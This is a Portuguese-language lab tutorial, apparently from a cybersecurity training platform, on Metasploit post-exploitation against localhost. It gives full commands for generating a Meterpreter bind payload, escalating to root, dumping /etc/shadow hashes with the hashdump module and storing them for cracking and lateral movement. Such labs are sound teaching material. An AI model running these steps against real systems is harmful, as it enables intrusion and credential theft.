Despejo de Hashes e Credenciais

CibersegurançaBeginner
Pratique Agora

Introdução

Neste laboratório, você realizará tarefas críticas de pós-exploração utilizando o Metasploit Framework. A pós-exploração ocorre após um atacante comprometer com sucesso um sistema alvo. O objetivo nesta fase é coletar informações, elevar privilégios e extrair credenciais (como hashes de senhas) para manter o acesso ou mover-se lateralmente para outros sistemas na rede.

O acesso a credenciais é fundamental, pois um host comprometido é frequentemente apenas o começo. Materiais de senha e tokens são a ponte entre um comprometimento local e um alcance mais amplo na rede.

Você utilizará o Meterpreter, um payload avançado e dinamicamente extensível que fornece um shell de comando poderoso. Por meio de prática prática, você aprenderá a verificar seus privilégios de usuário atuais, simular a elevação de privilégios, extrair hashes de senhas locais e armazenar essas credenciais no banco de dados do Metasploit para uso futuro.

Esta sequência é intencional: o nível de privilégio determina quais segredos você pode alcançar, e os segredos que você alcança frequentemente determinam para onde você pode se mover em seguida.

Verificar Privilégios Atuais (getuid)

Nesta etapa, você configurará seu ambiente instalando o Metasploit, gerando um payload do Meterpreter e estabelecendo sua primeira sessão. Uma vez conectado, você usará o comando getuid para identificar a conta de usuário sob a qual seu payload está sendo executado.

Conhecer sua identidade atual é básico, mas essencial. Muitas ações de pós-exploração têm sucesso ou falham inteiramente com base no contexto da conta em que a sessão está operando.

Primeiro, instale o Metasploit Framework usando o script de instalação preparado para você. Este processo baixará e instalará os componentes necessários.

sudo /tmp/msfinstall

O Metasploit usa um banco de dados PostgreSQL para rastrear suas descobertas, como credenciais extraídas. Neste ambiente de laboratório, o msfdb init pode preparar o banco de dados local por conta própria, então você pode inicializá-lo diretamente:

msfdb init

Se você vir uma mensagem como postgresql: unrecognized service, pode ignorá-la neste ambiente, desde que o msfdb init seja concluído com sucesso.

Em seguida, gere um payload do Meterpreter para Linux. Um payload é o código malicioso que é executado no sistema alvo. Criaremos um payload bind_tcp, que abre uma porta no alvo e aguarda nossa conexão.

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf

Se esta for a primeira vez que você usa o Metasploit no ambiente de laboratório atual, você poderá ver um prompt de configuração inicial antes que o msfvenom seja executado. Quando perguntado se deseja configurar um novo banco de dados, responda yes e aguarde a conclusão da configuração. Depois disso, o msfvenom continuará e salvará o arquivo do payload.

Torne o payload gerado executável:

chmod +x ~/project/payload.elf

Agora, execute o payload em segundo plano. Isso simula uma vítima executando o arquivo malicioso em seu sistema.

./payload.elf &

Com o payload em execução e ouvindo na porta 4444, use o msfconsole para conectar-se a ele. O comando a seguir configura automaticamente o handler e conecta-se ao seu payload, levando você diretamente para uma sessão do Meterpreter.

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"

Assim que a conexão for estabelecida, você verá o prompt meterpreter >. Para verificar seus privilégios atuais, digite o seguinte comando:

getuid

Você deverá ver uma saída semelhante a esta, indicando que você está operando como o usuário padrão labex:

Server username: uid=1000, gid=1000, euid=1000, egid=1000

Elevar Privilégios (getsystem)

Em um cenário real, privilégios de usuário padrão são frequentemente insuficientes para tarefas críticas como o despejo de hashes de senhas. Os atacantes devem elevar seus privilégios ao nível mais alto.

Em ambientes Windows, o Meterpreter fornece o comando getsystem, que tenta automaticamente várias técnicas para elevar privilégios para NT AUTHORITY\SYSTEM. No entanto, em sistemas Linux, a elevação de privilégios geralmente envolve a exploração de vulnerabilidades locais ou configurações incorretas (como permissões sudo fracas) para se tornar o usuário root.

Como estamos praticando em um ambiente Linux, simularemos uma elevação de privilégios bem-sucedida executando nosso payload com sudo.

Primeiro, saia da sua sessão atual do Meterpreter como usuário padrão digitando:

exit

Isso fechará a sessão e retornará você ao terminal Linux padrão. Você deve aguardar até estar de volta ao prompt de shell normal, que parece com labex:project/ $. Somente após retornar a esse prompt de shell você deve executar o próximo comando.

Agora, execute o payload novamente, mas desta vez use sudo para executá-lo como usuário root. O símbolo & o executa em segundo plano.

sudo ./payload.elf &

Conecte-se ao novo payload altamente privilegiado usando o msfconsole exatamente como fez antes:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"

Assim que o prompt meterpreter > aparecer, verifique se você elevou seus privilégios com sucesso verificando seu ID de usuário novamente:

getuid

A saída agora deve confirmar que você tem acesso de nível de sistema (root). Neste ambiente, a saída mais comum é:

Server username: root

Algumas compilações do Meterpreter podem mostrar uma forma numérica mais detalhada, como uid=0, gid=0, euid=0, egid=0. Ambas as formas indicam que a sessão está sendo executada com privilégios de root.

Executar Hashdump

Agora que você tem acesso de nível de sistema, pode realizar tarefas avançadas de pós-exploração. Uma das tarefas mais críticas é a extração de hashes de senhas.

É aqui que a elevação de privilégios se traduz em impacto operacional. Privilégios mais altos são úteis porque desbloqueiam o acesso a armazenamentos de credenciais protegidos e ao estado sensível do sistema.

No Windows, os atacantes usam o comando hashdump para extrair hashes do banco de dados SAM (Security Account Manager). No Linux, os hashes de senhas dos usuários são armazenados no arquivo /etc/shadow, que só pode ser lido pelo usuário root. O Metasploit fornece um módulo de pós-exploração específico para automatizar a extração e o processamento desses hashes do Linux.

Em sua sessão ativa do Meterpreter como root, execute o módulo de hashdump do Linux digitando:

run post/linux/gather/hashdump

Você verá uma saída indicando que o Metasploit extraiu um ou mais hashes de conta e salvou os resultados "unshadowed" no diretório de loot.

[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt

Esses hashes extraídos podem posteriormente ser submetidos a ataques de quebra de senha offline usando ferramentas como John the Ripper ou Hashcat para recuperar as senhas em texto simples, permitindo um maior movimento lateral pela rede.

Armazenar Hashes no Banco de Dados (creds)

Uma grande vantagem de usar o Metasploit Framework é sua capacidade de gerenciar automaticamente os dados coletados durante um engajamento. Como você inicializou o banco de dados na Etapa 1, o Metasploit armazena automaticamente os hashes de senha que você acabou de despejar.

Para visualizar as credenciais armazenadas, você precisa retornar ao prompt principal do msfconsole. Você pode fazer isso colocando sua sessão atual do Meterpreter em segundo plano.

No prompt do Meterpreter, digite:

background

Você retornará ao prompt msf6 >. Agora, use o comando creds para exibir todas as credenciais que o Metasploit coletou e armazenou em seu banco de dados:

creds

A saída exibirá uma tabela estruturada contendo o IP do host, porta, nome de usuário e o hash de senha extraído.

Credentials
===========

id  host  origin     service  public  private                                                                    realm  private_type        JtR Format  cracked_password
--  ----  ------     -------  ------  -------                                                                    -----  ------------        ----------  ----------------
1         127.0.0.1           labex   $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812         Nonreplayable hash  yescrypt

Esse gerenciamento centralizado de credenciais é extremamente útil durante testes de penetração em larga escala, permitindo que você acompanhe facilmente as contas comprometidas e as reutilize em outros módulos do Metasploit.

Para sair do msfconsole e concluir o laboratório, digite:

exit

Se o Metasploit avisar que você ainda tem uma sessão ativa aberta, digite exit -y para fechar o console e finalizar o laboratório.

Resumo

Neste laboratório, você navegou com sucesso pelas fases críticas da pós-exploração usando o Metasploit Framework. Você aprendeu a estabelecer uma sessão do Meterpreter, verificar seus privilégios atuais usando getuid e entender a importância da elevação de privilégios (simulando o objetivo do getsystem). Além disso, você utilizou os módulos de pós-exploração do Metasploit para executar um hashdump, extraindo hashes de senhas locais do sistema alvo. Finalmente, você explorou como o Metasploit gerencia automaticamente essas descobertas, permitindo que você visualize as credenciais armazenadas usando o comando creds. Essas habilidades são fundamentais para avaliar a postura de segurança dos sistemas e entender como os atacantes se movem lateralmente dentro de uma rede.